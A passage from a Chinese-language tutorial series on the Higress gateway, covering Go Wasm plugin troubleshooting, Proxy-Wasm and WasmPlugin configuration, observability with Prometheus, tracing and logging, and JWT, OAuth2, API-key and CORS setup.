GOOS=wasip1 GOARCH=wasm go build -o plugin.wasm

# 如果还是报错，检查是否有 cgo 依赖
CGO_ENABLED=0 GOOS=wasip1 GOARCH=wasm go build -o plugin.wasm

Q2: 插件加载失败

# 1. 检查 Envoy 日志
kubectl logs -n higress-system deploy/higress-gateway | grep wasm

# 2. 常见错误
# - "unable to initialize Wasm code": Wasm 文件损坏或格式错误
# - "failed to load Wasm module": 内存不足或 VM 配置错误
# - "plugin configuration failed": 配置解析错误

# 3. 验证 Wasm 文件
file plugin.wasm
wasm-objdump -x plugin.wasm  # 需要 wabt 工具

Q3: HTTP 调用超时

// 增加超时时间
proxywasm.DispatchHttpCall(
	cluster,
	headers,
	body,
	trailers,
	5000,  // 5 秒（默认 1 秒）
	callback,
)

// 确认 Cluster 配置正确
// 在 Higress 中注册外部服务（McpBridge）

复习卡片

[!TIP] 快速复习清单

环境：Go 1.24+、oras、Docker、kubectl

SDK：github.com/higress-group/wasm-go，wrapper 包封装 Proxy-Wasm ABI

核心钩子：ProcessRequestHeadersBy / ProcessRequestBodyBy / ProcessResponseHeadersBy / ProcessLogBy

HttpContext：Path() / Method() / GetRequestHeader() / SetRequestHeader() / SendHttpResponse()

返回值：ActionContinue（继续）/ ActionPause（暂停）/ ActionStop（停止）

HTTP 调用：proxywasm.DispatchHttpCall（异步），回调中 ResumeHttpRequest()

编译：GOOS=wasip1 GOARCH=wasm go build -o plugin.wasm

发布：oras push registry/plugins/name:version plugin.wasm

调试：日志（wrapper.Log）、本地 Docker 测试、kubectl logs

[!TIP] 下一篇：Wasm 插件实战将完整实现 JWT 认证、请求改写、限流、灰度四个生产级插件。

返回 Higress 学习路线总览 | 合集页

Higress Wasm 插件基础

Thu, 17 Sep 2026 06:00:00 GMT

[!NOTE] Wasm 插件是 Higress 的核心扩展能力。本文深入讲解 Proxy-Wasm 规范、沙箱机制、热更新原理、OCI 分发流程。

为什么选择 Wasm

传统扩展方式的问题

方式	问题
原生 C++ Filter	开发门槛高、需重编译 Envoy、崩溃影响主进程
Lua 脚本	性能差（~原生 50%）、无类型安全、生态有限
外部服务（gRPC/HTTP）	网络开销大、延迟高、部署复杂

Wasm 的优势

┌─────────────────────────────────────────────────┐
│                 Wasm 插件优势                     │
├──────────────┬──────────────────────────────────┤
│ 多语言       │ Go / Rust / AssemblyScript / C++ │
│ 沙箱隔离     │ 内存隔离，崩溃不影响 Envoy        │
│ 热更新       │ 不停机替换插件                    │
│ 高性能       │ ~原生 80-90%                      │
│ 标准化       │ Proxy-Wasm 规范，跨代理（Envoy/MOSN）│
│ 生态         │ OCI 镜像分发，插件市场             │
└──────────────┴──────────────────────────────────┘

Proxy-Wasm 规范

什么是 Proxy-Wasm

Proxy-Wasm 是 Envoy 官方定义的 Wasm 扩展标准，规定了：

宿主（Envoy）与插件（Wasm）的 ABI 接口
插件生命周期钩子
宿主能力调用（读 Header、发 HTTP 请求、写日志等）

架构图

┌─────────────────────────────────────────────────┐
│  Envoy（宿主）                                   │
│  ┌───────────────────────────────────────────┐  │
│  │  Proxy-Wasm ABI（C++ 实现）                │  │
│  │  ┌─────────────────────────────────────┐  │  │
│  │  │  Wasm VM（V8 / Wasmtime / WAMR）    │  │  │
│  │  │  ┌───────────────────────────────┐  │  │  │
│  │  │  │  Wasm 插件（Go/Rust 编译）     │  │  │  │
│  │  │  │  - OnHttpRequestHeaders       │  │  │  │
│  │  │  │  - OnHttpRequestBody          │  │  │  │
│  │  │  │  - OnHttpResponseHeaders      │  │  │  │
│  │  │  │  - OnLog                      │  │  │  │
│  │  │  └───────────────────────────────┘  │  │  │
│  │  └─────────────────────────────────────┘  │  │
│  └───────────────────────────────────────────┘  │
└─────────────────────────────────────────────────┘

ABI 接口分类

类别	函数示例	用途
生命周期	`proxy_on_context_create`	插件初始化
HTTP 处理	`proxy_on_request_headers`	处理请求头
宿主调用	`proxy_get_header_map_value`	读取 Header
宿主调用	`proxy_http_call`	发起 HTTP 请求
宿主调用	`proxy_log`	写日志
内存管理	`proxy_malloc` / `proxy_free`	内存分配

沙箱隔离

内存隔离

Envoy 进程内存空间
┌─────────────────────────────────────────┐
│  Envoy 核心代码                          │
│  ─────────────────────────────────────  │
│  Wasm VM 内存（沙箱）                    │
│  ┌───────────────────────────────────┐  │
│  │  插件 A 内存（线性内存，受限）      │  │
│  │  - 堆：最大 256MB（可配置）        │  │
│  │  - 栈：独立                       │  │
│  └───────────────────────────────────┘  │
│  ┌───────────────────────────────────┐  │
│  │  插件 B 内存（独立沙箱）            │  │
│  └───────────────────────────────────┘  │
└─────────────────────────────────────────┘

关键特性：
1. 插件无法访问 Envoy 内存（只能读/写自己的线性内存）
2. 插件崩溃只影响自己的沙箱，Envoy 继续运行
3. 插件间内存隔离，互不影响
4. 宿主通过 ABI 接口受控地暴露能力

能力限制

Wasm 插件默认【不能】：
- 直接访问文件系统
- 直接发起网络请求（需通过 proxy_http_call）
- 直接访问系统调用
- 直接访问 Envoy 内部数据结构

Wasm 插件【可以】（通过 ABI）：
- 读/写 HTTP Header/Body
- 发起 HTTP/gRPC 请求（proxy_http_call）
- 读/写共享数据（proxy_get/set_shared_data）
- 写日志（proxy_log）
- 访问插件配置（proxy_get_plugin_configuration）

安全模型

插件代码（不可信）
   ↓ 编译为 Wasm
   ↓
Wasm VM 验证
   ├── 内存访问边界检查
   ├── 函数签名验证
   └── 无限循环检测（燃料机制）
   ↓
沙箱执行
   ↓ 通过 ABI 调用宿主能力
   ↓
Envoy 验证并执行

热更新机制

更新流程

1. 开发者推送新版本 Wasm 镜像到 OCI 仓库
   oras push registry.example.com/plugins/my-plugin:v2 plugin.wasm

2. 更新 WasmPlugin CRD 镜像版本
   kubectl patch wasmplugin my-plugin -p '{"spec":{"url":"oci://registry.example.com/plugins/my-plugin:v2"}}'

3. Higress Controller 监听到 CRD 变化

4. Controller 拉取新版本 Wasm 镜像

5. Controller 通过 xDS 推送新配置到 Gateway

6. Envoy 加载新版本 Wasm（新请求用新插件，旧请求继续用旧插件）

7. 旧版本插件在所有请求完成后卸载

整个过程【无需重启 Envoy】，实现真正的热更新。

版本回滚

# 查看历史版本
kubectl get wasmplugin my-plugin -o jsonpath='{.metadata.annotations}'

# 回滚到 v1
kubectl patch wasmplugin my-plugin -p '{"spec":{"url":"oci://registry.example.com/plugins/my-plugin:v1"}}'

# 秒级生效

灰度发布插件

# 按路由灰度插件版本
apiVersion: extensions.higress.io/v1alpha1
kind: WasmPlugin
metadata:
  name: my-plugin
spec:
  url: oci://registry.example.com/plugins/my-plugin:v2
  # 只在特定路由启用新版本
  matchRules:
    - ingress: [default/canary-route]
      config:
        version: v2
  # 其他路由用旧版本
  defaultConfig:
    version: v1

OCI 镜像分发

为什么用 OCI

传统分发方式：
- 文件下载：版本管理混乱、无签名验证
- ConfigMap：大小限制 1MB、不适合二进制
- 自定义协议：生态不兼容

OCI 镜像分发优势：
- 复用 Docker Registry 生态（Harbor/ACR/GHCR/Docker Hub）
- 版本管理（tag/digest）
- 签名验证（cosign/notary）
- 访问控制（RBAC/Token）
- 全球分发（Registry Mirror/CDN）

镜像结构

OCI Artifact（Wasm 插件镜像）
├── manifest.json
│   ├── mediaType: application/vnd.oci.image.manifest.v1+json
│   └── layers:
│       ├── mediaType: application/vnd.module.wasm.content.layer.v1+wasm
│       │   └── plugin.wasm（Wasm 二进制）
│       └── mediaType: application/vnd.oci.image.layer.v1.tar+gzip
│           └── README.md / config.json（可选）
└── config.json
    └── 插件元数据（名称、版本、描述）

推送插件到 OCI 仓库

# 1. 安装 oras
curl -LO https://github.com/oras-project/oras/releases/download/v1.0.0/oras_1.0.0_linux_amd64.tar.gz
tar xzf oras_1.0.0_linux_amd64.tar.gz
mv oras /usr/local/bin/

# 2. 登录 Registry
oras login registry.example.com -u admin -p password

# 3. 推送 Wasm 文件
oras push registry.example.com/plugins/my-plugin:v1 \
  --artifact-type application/vnd.module.wasm.content.layer.v1+wasm \
  plugin.wasm

# 4. 验证
oras manifest fetch registry.example.com/plugins/my-plugin:v1

私有仓库配置

apiVersion: extensions.higress.io/v1alpha1
kind: WasmPlugin
metadata:
  name: my-plugin
spec:
  url: oci://registry.example.com/plugins/my-plugin:v1
  # 私有仓库认证
  imagePullSecret: registry-credentials
  # 或
  imagePullPolicy: IfNotPresent   # Always / IfNotPresent / Never
---
# 创建 Secret
apiVersion: v1
kind: Secret
metadata:
  name: registry-credentials
  namespace: higress-system
type: kubernetes.io/dockerconfigjson
data:
  .dockerconfigjson: <base64-encoded-docker-config>

插件生命周期

完整生命周期

┌─────────────────────────────────────────────────┐
│  插件加载阶段                                     │
│  1. Envoy 拉取 Wasm 镜像                         │
│  2. Wasm VM 验证并编译                           │
│  3. 调用 proxy_on_context_create（初始化）        │
│  4. 调用 proxy_on_configure（加载配置）           │
└─────────────────────────────────────────────────┘
                    ↓
┌─────────────────────────────────────────────────┐
│  请求处理阶段（每个请求）                          │
│  5. proxy_on_request_headers（请求头）            │
│  6. proxy_on_request_body（请求体，可选）          │
│  7. [转发到上游]                                 │
│  8. proxy_on_response_headers（响应头）           │
│  9. proxy_on_response_body（响应体，可选）         │
│  10. proxy_on_log（请求完成，记录日志）            │
└─────────────────────────────────────────────────┘
                    ↓
┌─────────────────────────────────────────────────┐
│  插件卸载阶段                                     │
│  11. proxy_on_context_destroy（清理资源）         │
│  12. Wasm VM 释放内存                            │
└─────────────────────────────────────────────────┘

钩子函数详解

钩子	触发时机	可执行操作	返回值
OnHttpRequestHeaders	收到请求头	读/写 Header、认证、限流、路由改写	Continue / Pause / Stop
OnHttpRequestBody	收到请求体	读/写 Body、内容审核、数据校验	Continue / Pause / Stop
OnHttpResponseHeaders	收到响应头	读/写 Header、添加 Header、日志	Continue / Pause
OnHttpResponseBody	收到响应体	读/写 Body、响应改写、脱敏	Continue / Pause
OnLog	请求完成	记录日志、Metrics、审计	-

返回值含义

// Continue：继续处理，进入下一个 Filter
return types.ActionContinue

// Pause：暂停处理，等待异步操作完成
// 常用于 proxy_http_call（发起 HTTP 请求）
return types.ActionPause

// Stop：停止处理，直接返回响应
// 常用于认证失败、限流触发
proxywasm.SendHttpResponse(403, nil, []byte("Forbidden"), -1)
return types.ActionStop

WasmPlugin CRD 详解

完整配置示例

apiVersion: extensions.higress.io/v1alpha1
kind: WasmPlugin
metadata:
  name: jwt-auth
  namespace: higress-system
spec:
  # 插件镜像
  url: oci://registry.example.com/plugins/jwt-auth:v1
  
  # 镜像拉取策略
  imagePullPolicy: IfNotPresent
  imagePullSecret: registry-credentials
  
  # 插件阶段（执行顺序）
  phase: AUTHN          # AUTHN / AUTHZ / STATS / UNSPECIFIED_PHASE
  
  # 优先级（同 phase 内，数字越大越先执行）
  priority: 1000
  
  # 默认配置（全局生效）
  defaultConfig:
    issuer: "https://auth.example.com"
    jwks_uri: "https://auth.example.com/.well-known/jwks.json"
  
  # 匹配规则（特定路由/域名/服务生效）
  matchRules:
    # 路由级配置
    - ingress: [default/api-route]
      config:
        issuer: "https://api-auth.example.com"
    
    # 域名级配置
    - domain: [admin.example.com]
      config:
        issuer: "https://admin-auth.example.com"
    
    # 服务级配置
    - service: [payment-service.default.svc.cluster.local]
      config:
        strict: true
  
  # 插件失败策略
  failStrategy: FAIL_OPEN   # FAIL_OPEN（继续）/ FAIL_CLOSE（拒绝）

配置优先级

路由级 > 域名级 > 服务级 > 全局级（defaultConfig）

示例：
- defaultConfig: issuer = "https://auth.example.com"
- domain[admin.example.com]: issuer = "https://admin-auth.example.com"
- ingress[default/api-route]: issuer = "https://api-auth.example.com"

最终生效：
- api-route → "https://api-auth.example.com"（路由级）
- admin.example.com 其他路径 → "https://admin-auth.example.com"（域名级）
- 其他所有 → "https://auth.example.com"（全局级）

插件阶段（Phase）

请求处理顺序：
1. AUTHN（认证）→ JWT / OAuth2 / API Key
2. AUTHZ（鉴权）→ RBAC / ABAC
3. UNSPECIFIED_PHASE（自定义）→ 业务插件
4. STATS（统计）→ Metrics / Logging

同 Phase 内按 priority 降序执行（数字大的先执行）

复习卡片

[!TIP] 快速复习清单

Wasm 优势：多语言、沙箱隔离、热更新、高性能（~原生 80-90%）、标准化

Proxy-Wasm：Envoy 官方 Wasm 扩展标准，定义 ABI 接口和生命周期钩子

沙箱隔离：内存隔离、能力受限（通过 ABI 调用宿主）、崩溃不影响 Envoy

热更新：更新 WasmPlugin CRD → Controller 拉取新镜像 → xDS 推送 → Envoy 加载（无需重启）

OCI 分发：复用 Docker Registry 生态，oras push/pull，版本管理 + 签名验证

生命周期：加载 → 请求处理（Headers/Body/Log）→ 卸载

钩子返回值：Continue（继续）/ Pause（暂停，等待异步）/ Stop（停止，直接响应）

WasmPlugin CRD：url、phase、priority、defaultConfig、matchRules（路由/域名/服务级）

配置优先级：路由级 > 域名级 > 服务级 > 全局级

[!TIP] 下一篇：Go 开发 Wasm 插件将实战讲解 wasm-go SDK、钩子函数实现、编译调试、插件发布完整流程。

返回 Higress 学习路线总览 | 合集页

Higress 可观测性

Thu, 17 Sep 2026 05:30:00 GMT

[!NOTE] 可观测性是生产运维的基础。Higress 内置 Metrics/Tracing/Logging，无缝对接 Prometheus/Grafana/SkyWalking 等生态。

可观测性三大支柱

┌─────────────────────────────────────────────────┐
│                可观测性                           │
├──────────────┬──────────────┬──────────────────┤
│   Metrics    │   Tracing    │    Logging       │
│   （指标）    │   （链路）    │    （日志）       │
├──────────────┼──────────────┼──────────────────┤
│ QPS          │ 请求链路      │ 访问日志         │
│ 延迟         │ 耗时分布      │ 错误日志         │
│ 错误率       │ 依赖关系      │ 审计日志         │
│ 饱和度       │ 瓶颈定位      │ 调试信息         │
└──────────────┴──────────────┴──────────────────┘
         ↓              ↓              ↓
    Prometheus     Jaeger/Zipkin    ELK/Loki
    Grafana        SkyWalking       Fluentd

Metrics 指标

内置指标

Higress（Envoy）默认暴露以下指标：

指标名	类型	说明
`envoy_http_downstream_rq_total`	Counter	总请求数
`envoy_http_downstream_rq_2xx`	Counter	2xx 响应数
`envoy_http_downstream_rq_4xx`	Counter	4xx 响应数
`envoy_http_downstream_rq_5xx`	Counter	5xx 响应数
`envoy_http_downstream_rq_time`	Histogram	请求耗时
`envoy_cluster_upstream_rq_total`	Counter	上游请求数
`envoy_cluster_upstream_cx_active`	Gauge	活跃连接数
`envoy_server_memory_allocated`	Gauge	内存使用
`envoy_server_cpu_usage`	Gauge	CPU 使用率

启用 Prometheus

# Helm values.yaml
higress-core:
  gateway:
    metrics:
      enabled: true
      port: 15020          # Metrics 端口
      path: /stats/prometheus

# 或手动配置
apiVersion: v1
kind: ConfigMap
metadata:
  name: higress-config
  namespace: higress-system
data:
  higress: |
    o11y:
      metrics:
        enabled: true
        port: 15020

Prometheus 抓取配置

# prometheus.yml
scrape_configs:
  - job_name: 'higress-gateway'
    kubernetes_sd_configs:
      - role: pod
        namespaces:
          names: ['higress-system']
    relabel_configs:
      - source_labels: [__meta_kubernetes_pod_label_app]
        regex: higress-gateway
        action: keep
      - source_labels: [__meta_kubernetes_pod_container_port_number]
        regex: "15020"
        action: keep

关键 PromQL

# QPS（每秒请求数）
rate(envoy_http_downstream_rq_total{pod=~"higress-gateway.*"}[1m])

# P99 延迟
histogram_quantile(0.99, 
  rate(envoy_http_downstream_rq_time_bucket{pod=~"higress-gateway.*"}[5m])
)

# 错误率
sum(rate(envoy_http_downstream_rq_5xx[5m])) 
/ 
sum(rate(envoy_http_downstream_rq_total[5m]))

# 上游健康度
envoy_cluster_upstream_cx_active{cluster_name=~".*"}

Grafana 监控面板

官方 Dashboard

Higress 提供预置 Grafana Dashboard：

# 导入 Dashboard JSON
# 下载地址：https://github.com/alibaba/higress/tree/main/grafana
# 或 Grafana Labs 搜索 "Higress"

关键面板

面板	指标	用途
总览	QPS、延迟、错误率	全局健康度
路由分析	按路由分组的 QPS/延迟	定位慢接口
上游服务	上游延迟、错误、连接数	依赖健康度
资源使用	CPU、内存、连接数	容量规划
插件监控	插件执行耗时、错误	插件性能

告警规则

# Prometheus AlertManager 规则
groups:
  - name: higress-alerts
    rules:
      # 高错误率告警
      - alert: HigressHighErrorRate
        expr: |
          sum(rate(envoy_http_downstream_rq_5xx[5m])) 
          / 
          sum(rate(envoy_http_downstream_rq_total[5m])) > 0.05
        for: 2m
        labels:
          severity: critical
        annotations:
          summary: "Higress 错误率超过 5%"
      
      # 高延迟告警
      - alert: HigressHighLatency
        expr: |
          histogram_quantile(0.99, 
            rate(envoy_http_downstream_rq_time_bucket[5m])
          ) > 1000
        for: 5m
        labels:
          severity: warning
        annotations:
          summary: "Higress P99 延迟超过 1s"
      
      # 上游服务不可用
      - alert: HigressUpstreamDown
        expr: envoy_cluster_upstream_cx_active == 0
        for: 1m
        labels:
          severity: critical

Tracing 链路追踪

支持的后端

后端	协议	配置方式
Jaeger	Zipkin / OTLP	ConfigMap
Zipkin	Zipkin	ConfigMap
SkyWalking	SkyWalking	ConfigMap
OpenTelemetry	OTLP	ConfigMap

启用 Tracing（Jaeger）

apiVersion: v1
kind: ConfigMap
metadata:
  name: higress-config
  namespace: higress-system
data:
  higress: |
    o11y:
      tracing:
        enabled: true
        # Jaeger 配置
        provider: jaeger
        jaeger:
          collector: jaeger-collector.jaeger.svc.cluster.local:9411
          # 采样率（0.0-1.0）
          sampling:
            type: probabilistic
            value: 0.1        # 10% 采样

启用 Tracing（SkyWalking）

data:
  higress: |
    o11y:
      tracing:
        enabled: true
        provider: skywalking
        skywalking:
          service: oap.skywalking.svc.cluster.local:11800
          sampling:
            type: rate
            value: 100        # 每秒 100 个请求

Trace 传播

# Higress 自动传播 Trace Header
# 支持的 Header：
# - X-Request-Id（Envoy 原生）
# - X-B3-TraceId / X-B3-SpanId（Zipkin）
# - traceparent / tracestate（W3C Trace Context）
# - sw8（SkyWalking）

# 上游服务需要：
# 1. 读取这些 Header
# 2. 创建子 Span
# 3. 继续传播到下游

查看 Trace

# Jaeger UI
kubectl port-forward svc/jaeger-query 16686:16686 -n jaeger
open http://localhost:16686

# SkyWalking UI
kubectl port-forward svc/skywalking-ui 8080:8080 -n skywalking
open http://localhost:8080

访问日志

日志格式

apiVersion: v1
kind: ConfigMap
metadata:
  name: higress-config
  namespace: higress-system
data:
  higress: |
    accessLog:
      enabled: true
      # JSON 格式（推荐，便于 ELK 解析）
      format: json
      # 自定义字段
      template: |
        {
          "timestamp": "%START_TIME%",
          "method": "%REQ(:METHOD)%",
          "path": "%REQ(X-ENVOY-ORIGINAL-PATH?:PATH)%",
          "protocol": "%PROTOCOL%",
          "response_code": "%RESPONSE_CODE%",
          "response_flags": "%RESPONSE_FLAGS%",
          "bytes_received": "%BYTES_RECEIVED%",
          "bytes_sent": "%BYTES_SENT%",
          "duration": "%DURATION%",
          "upstream_service_time": "%RESP(X-ENVOY-UPSTREAM-SERVICE-TIME)%",
          "x_forwarded_for": "%REQ(X-FORWARDED-FOR)%",
          "user_agent": "%REQ(USER-AGENT)%",
          "request_id": "%REQ(X-REQUEST-ID)%",
          "authority": "%REQ(:AUTHORITY)%",
          "upstream_host": "%UPSTREAM_HOST%",
          "upstream_cluster": "%UPSTREAM_CLUSTER%",
          "route_name": "%ROUTE_NAME%"
        }

日志字段说明

字段	说明	示例
`%START_TIME%`	请求开始时间	`2026-09-17T10:30:00.000Z`
`%REQ(:METHOD)%`	HTTP 方法	`GET`
`%REQ(X-ENVOY-ORIGINAL-PATH?:PATH)%`	原始路径	`/api/users`
`%RESPONSE_CODE%`	响应状态码	`200`
`%RESPONSE_FLAGS%`	响应标志	`-`（正常）/ `UH`（上游不健康）
`%DURATION%`	总耗时（ms）	`150`
`%RESP(X-ENVOY-UPSTREAM-SERVICE-TIME)%`	上游耗时	`120`
`%UPSTREAM_HOST%`	上游实例	`10.0.0.5:8080`
`%UPSTREAM_CLUSTER%`	上游集群	`outbound
`%ROUTE_NAME%`	路由名称	`api-route.default`

响应标志（RESPONSE_FLAGS）

标志	说明
`-`	正常
`UH`	上游无健康实例
`UF`	上游连接失败
`UO`	上游过载（熔断）
`NR`	无路由匹配
`URX`	上游重试耗尽
`RL`	限流触发
`DC`	客户端断开
`UT`	上游超时

日志输出位置

# 标准输出（kubectl logs）
kubectl logs -n higress-system deploy/higress-gateway -f

# 文件（需配置 volume）
/var/log/higress/access.log

# 远程（Fluentd/Filebeat 收集）
# 配置 sidecar 或 DaemonSet 收集

集成 ELK/Loki

Fluentd 收集

# fluentd-configmap.yaml
apiVersion: v1
kind: ConfigMap
metadata:
  name: fluentd-config
data:
  higress.conf: |
    <source>
      @type tail
      path /var/log/containers/higress-gateway*.log
      pos_file /var/log/fluentd-higress.log.pos
      tag higress.access
      format json
      time_format %Y-%m-%dT%H:%M:%S.%NZ
    </source>
    
    <filter higress.access>
      @type record_transformer
      <record>
        service higress
        component gateway
      </record>
    </filter>
    
    <match higress.access>
      @type elasticsearch
      host elasticsearch.elastic.svc.cluster.local
      port 9200
      logstash_format true
      logstash_prefix higress-access
    </match>

Loki 收集

# promtail-config.yaml
scrape_configs:
  - job_name: higress
    kubernetes_sd_configs:
      - role: pod
        namespaces:
          names: ['higress-system']
    relabel_configs:
      - source_labels: [__meta_kubernetes_pod_label_app]
        regex: higress-gateway
        action: keep
      - source_labels: [__meta_kubernetes_pod_name]
        target_label: pod
    pipeline_stages:
      - json:
          expressions:
            method: method
            path: path
            status: response_code
            duration: duration
      - labels:
          method:
          status:

实战：完整可观测性方案

架构

Higress Gateway
   ├── Metrics → Prometheus → Grafana（监控面板）
   ├── Tracing → Jaeger/SkyWalking（链路追踪）
   └── Logging → Fluentd → Elasticsearch → Kibana（日志分析）

Helm Values 完整配置

higress-core:
  gateway:
    metrics:
      enabled: true
      port: 15020
    
    accessLog:
      enabled: true
      format: json

global:
  o11y:
    enabled: true
    grafana:
      enabled: true
      # 自动导入 Higress Dashboard
      dashboards:
        higress: true
    prometheus:
      enabled: true
      # 自动配置 scrape
      scrapeHigress: true
    tracing:
      enabled: true
      provider: jaeger
      jaeger:
        collector: jaeger-collector.jaeger.svc.cluster.local:9411
        sampling:
          type: probabilistic
          value: 0.1

验证可观测性

# 1. Metrics
kubectl exec -n higress-system deploy/higress-gateway -- \
  curl -s localhost:15020/stats/prometheus | grep envoy_http

# 2. Tracing（发送测试请求后查看 Jaeger UI）
curl http://api.example.com/api/test
open http://localhost:16686

# 3. Logging
kubectl logs -n higress-system deploy/higress-gateway --tail=10 | jq

# 4. Grafana Dashboard
kubectl port-forward svc/grafana 3000:3000 -n monitoring
open http://localhost:3000

常见问题

Q1: Prometheus 抓取不到指标

# 1. 确认 Metrics 端口
kubectl get svc higress-gateway -n higress-system -o yaml | grep 15020

# 2. 手动测试
kubectl exec -n higress-system deploy/higress-gateway -- \
  curl -s localhost:15020/stats/prometheus

# 3. 检查 Prometheus targets
open http://prometheus:9090/targets

Q2: Tracing 链路断裂

# 1. 确认上游服务传播 Trace Header
# 检查上游服务是否读取并传播：
# - X-Request-Id
# - X-B3-TraceId / X-B3-SpanId
# - traceparent / tracestate

# 2. 确认采样率
# 采样率太低可能导致链路不完整

# 3. 检查时钟同步
# 各节点时钟偏差会导致 Span 顺序错乱

Q3: 日志量太大

# 1. 降低采样率（只记录错误和慢请求）
accessLog:
  enabled: true
  # 只记录 5xx 和 >1s 的请求
  filter:
    statusCode: ">=500"
    duration: ">=1000"

# 2. 精简字段
template: |
  {
    "timestamp": "%START_TIME%",
    "method": "%REQ(:METHOD)%",
    "path": "%REQ(X-ENVOY-ORIGINAL-PATH?:PATH)%",
    "response_code": "%RESPONSE_CODE%",
    "duration": "%DURATION%"
  }

# 3. 日志轮转
# 配置 logrotate 或 Fluentd buffer

复习卡片

[!TIP] 快速复习清单

三大支柱：Metrics（Prometheus）、Tracing（Jaeger/SkyWalking）、Logging（ELK/Loki）

关键指标：QPS、P99 延迟、错误率、上游连接数、资源使用

PromQL：rate() 计算 QPS，histogram_quantile() 计算分位数

Tracing 传播：X-Request-Id / X-B3-* / traceparent / sw8

日志格式：JSON（推荐），关键字段：duration、upstream_service_time、response_flags

响应标志：UH（上游不健康）、UF（连接失败）、RL（限流）、UT（超时）

Grafana Dashboard：总览、路由分析、上游服务、资源使用

告警规则：错误率 > 5%、P99 > 1s、上游不可用

[!TIP] 下一篇：Wasm 插件基础将讲解 Proxy-Wasm 规范、沙箱隔离、热更新、OCI 镜像分发等 Wasm 插件核心机制。

返回 Higress 学习路线总览 | 合集页

Higress 安全认证

Thu, 17 Sep 2026 05:00:00 GMT

[!NOTE] 安全是网关的第一道防线。Higress 提供认证、鉴权、WAF、加密传输等完整安全能力。

安全能力全景

请求进入
   │
   ▼
┌─────────────────┐
│  IP 黑白名单    │  ← 网络层过滤
├─────────────────┤
│  CORS 跨域      │  ← 浏览器同源策略
├─────────────────┤
│  WAF 防护       │  ← SQL 注入/XSS/CC 攻击
├─────────────────┤
│  认证           │  ← JWT/OAuth2/API Key
├─────────────────┤
│  鉴权           │  ← RBAC/ABAC 权限控制
├─────────────────┤
│  mTLS           │  ← 双向 TLS 加密
└─────────────────┘
   │
   ▼
上游服务

JWT 认证

配置 JWT 认证

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: api-route
  annotations:
    # 启用 JWT 认证
    higress.io/auth-type: "jwt"
    # JWT 密钥（JWKS URI 或本地密钥）
    higress.io/auth-jwt-jwks-uri: "https://auth.example.com/.well-known/jwks.json"
    # 或本地密钥
    # higress.io/auth-jwt-secret: "your-256-bit-secret"
    # higress.io/auth-jwt-algorithm: "HS256"
    # JWT 位置（header/query/cookie）
    higress.io/auth-jwt-from: "header"
    higress.io/auth-jwt-header: "Authorization"
    higress.io/auth-jwt-prefix: "Bearer "
    # 校验字段
    higress.io/auth-jwt-issuer: "https://auth.example.com"
    higress.io/auth-jwt-audience: "api.example.com"
    # 透传字段到上游
    higress.io/auth-jwt-forward-claims: "sub,email,roles"
    higress.io/auth-jwt-forward-header-prefix: "X-JWT-"
spec:
  ingressClassName: higress
  rules:
    - host: api.example.com
      http:
        paths:
          - path: /api
            backend:
              service:
                name: api-service
                port: { number: 8080 }

JWT 认证流程

1. 客户端请求携带 JWT
   Authorization: Bearer eyJhbGciOiJIUzI1NiIs...

2. Higress 提取 JWT

3. 验证签名
   - 从 JWKS URI 获取公钥（缓存）
   - 或用本地密钥验证

4. 验证 Claims
   - iss（签发者）
   - aud（受众）
   - exp（过期时间）
   - nbf（生效时间）

5. 验证通过 → 转发到上游（携带用户信息 Header）
   验证失败 → 返回 401 Unauthorized

上游获取用户信息

# Higress 自动添加 Header
X-JWT-sub: user123
X-JWT-email: user@example.com
X-JWT-roles: admin,developer

# 上游服务读取
const userId = req.headers['x-jwt-sub'];
const roles = req.headers['x-jwt-roles'].split(',');

白名单路径（无需认证）

metadata:
  annotations:
    higress.io/auth-type: "jwt"
    higress.io/auth-jwt-jwks-uri: "https://auth.example.com/.well-known/jwks.json"
    # 白名单路径（正则）
    higress.io/auth-white-list: "/api/health,/api/public/.*,/api/login"

OAuth2 认证

OAuth2 授权码模式

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: oauth2-route
  annotations:
    higress.io/auth-type: "oauth2"
    higress.io/auth-oauth2-issuer: "https://auth.example.com"
    higress.io/auth-oauth2-client-id: "your-client-id"
    higress.io/auth-oauth2-client-secret: "your-client-secret"
    higress.io/auth-oauth2-redirect-uri: "https://api.example.com/oauth2/callback"
    higress.io/auth-oauth2-scopes: "openid,profile,email"
    # Cookie 配置
    higress.io/auth-oauth2-cookie-name: "_oauth2_token"
    higress.io/auth-oauth2-cookie-domain: ".example.com"
    higress.io/auth-oauth2-cookie-secure: "true"
    higress.io/auth-oauth2-cookie-http-only: "true"
spec:
  ingressClassName: higress
  rules:
    - host: api.example.com
      http:
        paths:
          - path: /
            backend:
              service:
                name: web-service
                port: { number: 8080 }

OAuth2 流程

1. 用户访问受保护资源
   GET https://api.example.com/dashboard

2. Higress 检测无有效 Cookie → 302 重定向到授权服务器
   Location: https://auth.example.com/authorize?
     client_id=your-client-id&
     redirect_uri=https://api.example.com/oauth2/callback&
     scope=openid profile email&
     response_type=code&
     state=random-state

3. 用户在授权服务器登录并授权

4. 授权服务器回调 Higress
   GET https://api.example.com/oauth2/callback?code=xxx&state=random-state

5. Higress 用 code 换取 access_token + id_token

6. Higress 设置 Cookie，重定向到原始请求
   Set-Cookie: _oauth2_token=xxx; Domain=.example.com; Secure; HttpOnly
   Location: https://api.example.com/dashboard

7. 后续请求携带 Cookie，Higress 验证后转发

API Key 认证

配置 API Key

metadata:
  annotations:
    higress.io/auth-type: "api-key"
    # API Key 位置（header/query）
    higress.io/auth-api-key-from: "header"
    higress.io/auth-api-key-header: "X-API-Key"
    # API Key 列表（支持多个）
    higress.io/auth-api-key-list: |
      key1: {"name":"client-a","quota":1000}
      key2: {"name":"client-b","quota":5000}
      key3: {"name":"client-c","quota":10000}

结合限流

metadata:
  annotations:
    higress.io/auth-type: "api-key"
    higress.io/auth-api-key-header: "X-API-Key"
    higress.io/auth-api-key-list: |
      key1: {"name":"free","quota":100}
      key2: {"name":"pro","quota":10000}
    # 按 API Key 限流
    higress.io/limit-by-header: "X-API-Key"
    higress.io/limit-rps: "100"

CORS 跨域

配置 CORS

metadata:
  annotations:
    higress.io/enable-cors: "true"
    higress.io/cors-allow-origin: "https://web.example.com"
    # 多个域名用逗号分隔
    # higress.io/cors-allow-origin: "https://web.example.com,https://admin.example.com"
    # 或通配符（不推荐生产）
    # higress.io/cors-allow-origin: "*"
    higress.io/cors-allow-methods: "GET,POST,PUT,DELETE,OPTIONS"
    higress.io/cors-allow-headers: "Authorization,Content-Type,X-Requested-With"
    higress.io/cors-expose-headers: "X-Total-Count,X-Request-Id"
